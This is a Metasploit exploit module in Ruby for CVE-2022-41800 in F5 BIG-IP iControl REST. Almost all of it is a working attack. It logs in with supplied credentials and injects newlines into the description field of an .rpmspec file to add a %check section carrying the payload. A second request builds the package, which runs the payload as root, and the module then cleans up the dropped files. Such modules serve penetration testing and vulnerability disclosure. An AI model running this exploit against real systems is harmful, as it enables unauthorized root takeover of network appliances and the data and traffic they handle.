##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',
        'Description' => %q{
          This module exploits a newline injection into an RPM .rpmspec file
          that permits authenticated users to remotely execute commands.

          Successful exploitation results in remote code execution
          as the root user.
        },
        'Author' => [
          'Ron Bowes' # Discovery, PoC, and module
        ],
        'References' => [
          ['CVE', '2022-41800'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
          ['URL', 'https://support.f5.com/csp/article/K13325942'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-11-16', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [ 'Default', {} ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION], # One at a time
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
        OptString.new('HttpPassword', [true, 'iControl password', ''])
      ]
    )
  end

  def exploit
    # The RPM name is based on these, so we need these to delete the RPM file after
    name = rand_text_alphanumeric(5..10)
    version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
    release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"

    vprint_status('Creating an .rpmspec file on the target...')
    result = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'data' => {
        'specFileData' => {
          'name' => name,
          'srcBasePath' => '/tmp',
          'version' => version,
          'release' => release,
          # This is the injection - add newlines then a '%check' section
          'description' => "\n\n%check\n#{payload.encoded}\n",
          'summary' => rand_text_alphanumeric(5..10)
        }
      }.to_json
    })

    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200

    json = result&.get_json_document
    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json

    file_path = json['specFilePath']
    fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
    vprint_status("Created spec file: #{file_path}")
    register_file_for_cleanup(file_path)

    # We can also use `exit 1` in the %check function to prevent this file
    # from being created, rather than cleaning it up.. but that seems noisier?
    # Neither option gets logged so /shrug
    register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")

    vprint_status('Building the RPM to trigger the payload...')
    result = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'data' => {
        'state' => {},
        'appName' => rand_text_alphanumeric(5..10),
        'packageDirectory' => '/tmp',
        'specFilePath' => file_path
      }.to_json
    })
    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
  end
end
